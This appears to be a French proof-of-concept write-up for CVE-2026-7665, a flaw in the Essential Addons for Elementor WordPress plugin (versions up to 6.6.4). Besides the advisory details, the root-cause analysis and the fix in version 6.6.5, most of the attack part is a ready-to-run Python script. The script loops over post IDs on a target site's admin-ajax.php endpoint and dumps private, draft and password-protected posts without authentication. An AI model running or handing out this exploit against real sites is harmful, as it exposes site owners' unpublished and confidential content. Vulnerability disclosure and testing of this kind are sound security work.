
Preuve de concept d'exploitation pour CVE-2026-7665, une divulgation d'informations non authentifiée dans Essential Addons for Elementor, permettant l'extraction de publications WordPress privées, de brouillons et protégées par mot de passe.
| Champ | Détail |
|---|
| ID CVE | CVE-2026-7665 |
| Sévérité | Moyen |
| Score CVSS | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Plugin concerné | Essential Addons for Elementor |
| Versions affectées | ≤ 6.6.4 |
| Installations actives | 1 000 000+ |
| CVE attribué par | Wordfence (CNA) |
| Divulgué | Juin 2026 |
| Chercheur | Anirudh Makkar |
Le gestionnaire AJAX ajax_load_more dans Essential Addons for Elementor ne vérifiait pas la visibilité des articles avant de renvoyer leur contenu. Cela permettait à des attaquants non authentifiés de lire les articles WordPress privés, protégés par mot de passe et brouillons en émettant une requête wp-admin/admin-ajax.php spécialement conçue — aucune authentification ou nonce requis.
Le plugin enregistre un gestionnaire sur le hook d'action wp_ajax_nopriv_eael_post_grid_load_more, le rendant accessible aux visiteurs non authentifiés. Lorsque ce gestionnaire exécute une WP_Query pour récupérer les articles pour la fonctionnalité de pagination « load more », il n'appelle pas current_user_can('read_post', $post_id) ni ne vérifie get_post_status() par rapport aux capacités de l'utilisateur demandeur.
Le noyau de WordPress s'appuie sur les plugins pour appliquer l'autorisation au niveau des articles dans les gestionnaires AJAX — il ne le fait pas automatiquement. L'absence de cette vérification signifie que le gestionnaire renvoie le contenu complet des articles indépendamment des paramètres de visibilité.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // tous les statuts retournés
...
])
→ [renvoie le contenu complet de l'article sans vérification d'autorisation]
Un attaquant non authentifié peut énumérer et lire :
Cela peut exposer du contenu métier sensible, des annonces non publiées, des documents internes publiés en tant qu'articles WordPress, ou tout autre contenu non public géré via l'éditeur WordPress.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Mettez à jour Essential Addons for Elementor vers la version 6.6.5 ou ultérieure.
Le correctif ajoute une vérification current_user_can('read_post', $post_id) à l'intérieur du gestionnaire load-more avant d'inclure tout article dans les résultats de la requête.
Signalé par Anirudh Makkar · LinkedIn